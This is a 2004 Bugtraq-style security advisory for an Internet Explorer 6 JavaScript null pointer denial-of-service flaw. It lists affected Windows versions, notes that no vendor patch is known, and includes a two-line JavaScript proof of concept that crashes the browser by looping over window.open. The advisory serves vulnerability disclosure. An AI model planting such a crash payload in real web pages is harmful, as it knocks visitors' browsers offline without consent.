Microsoft Internet Explorer JavaScript Null Pointer Exception Denial Of Service Vulnerability

Bugtraq ID:	10694
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Jul 12 2004 12:00AM
Updated:	Jul 12 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to "Berend-Jan Wever" <[email protected]>.
Vulnerable:	Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services - Microsoft Windows 2000 Terminal Services - Microsoft Windows 2000 Terminal Services - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Professional + Microsoft Windows XP Professional + Microsoft Windows XP Professional
Not Vulnerable:

Microsoft Internet Explorer JavaScript Null Pointer Exception Denial Of Service Vulnerability

A denial of service vulnerability is reported to affect Internet Explorer. The issue is reported to present itself when Internet Explorer attempts to render JavaScript that contains an invalid for statement.

A remote attacker may exploit this vulnerability to cause the running instance of Internet Explorer to crash.

This vulnerability is reported to affect Internet Explorer version 6.0 (SP1), other versions might also be affected.

Microsoft Internet Explorer JavaScript Null Pointer Exception Denial Of Service Vulnerability

The following proof of concept is available:

<SCRIPT language="javascript">

MSIE = window.open; // for hackers to come in
for (every_bug_found in MSIE) { /* there are zillions more hiden */ }

</SCRIPT>

Microsoft Internet Explorer JavaScript Null Pointer Exception Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Microsoft Internet Explorer JavaScript Null Pointer Exception Denial Of Service Vulnerability

References:

• I small poem in JScript ("Berend-Jan Wever" )